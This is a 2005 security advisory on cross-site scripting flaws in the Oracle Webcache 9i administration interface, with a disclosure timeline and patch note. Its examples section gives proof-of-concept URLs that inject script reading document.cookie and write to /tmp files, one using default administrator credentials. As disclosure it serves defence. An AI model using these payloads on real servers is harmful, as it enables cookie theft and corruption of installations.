[NEWS] Oracle Webcache 9i Cross Site Scripting

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Date: 04/27/05

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      Oracle Webcache 9i Cross Site Scripting
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    SUMMARY

    Many parameters used by Oracle's webcache are vulnerable to XSS/CSS
    attacks. When this vulnerability is combined with
    <http://www.securiteam.com/securitynews/5CP0L20FGI.html> Oracle Webcache
    9i File Appending Vulnerability it is possible to corrupt the Oracle
    Application Server installation.

    DETAILS

    Vulnerable Systems:
     * Oracle Application Server with Webcache 9i

    Examples:
    http://server01:4000/webcacheadmin?SCREEN_ID=CGA.CacheDump&ACTION=Submit&index=1 &cache_dump_file=/tmp/create_or_replace_file.txt< script>alert(document.cookie);</script>
    http://server01:4000/webcacheadmin?SCREEN_ID=CGA.Site.ApologyPages_Edit
    &ACTION=Submit&PartialPageErrorPage=/inservice.html<
    script>alert(document.cookie)</script>&site_id=2
    http://administrator:administrator@server01:4000/webcacheadmin?SCREEN_ID=CGA.CacheDump &ACTION=Submit&index=1&cache_dump_file=/tmp/create_or_append_file.txt< script>alert(document.cookie);</script>

    Patch:
    Oracle fixed these issues and has informed their customers.

    Disclosure Timeline:
    23-sep-2003 Oracle secalert was informed
    23-sep-2003 Bug confirmed
    26-apr-2005 Red-Database-Security published this advisory

    ADDITIONAL INFORMATION

    The information has been provided by
    <mailto:ak@red-database-security.com> Kornbrust, Alexander.
    The original article can be found at:
    <http://www.red-database-security.com/advisory/oracle_webcache_CSS_vulnerabilities.html> http://www.red-database-security.com/advisory/oracle_webcache_CSS_vulnerabilities.html

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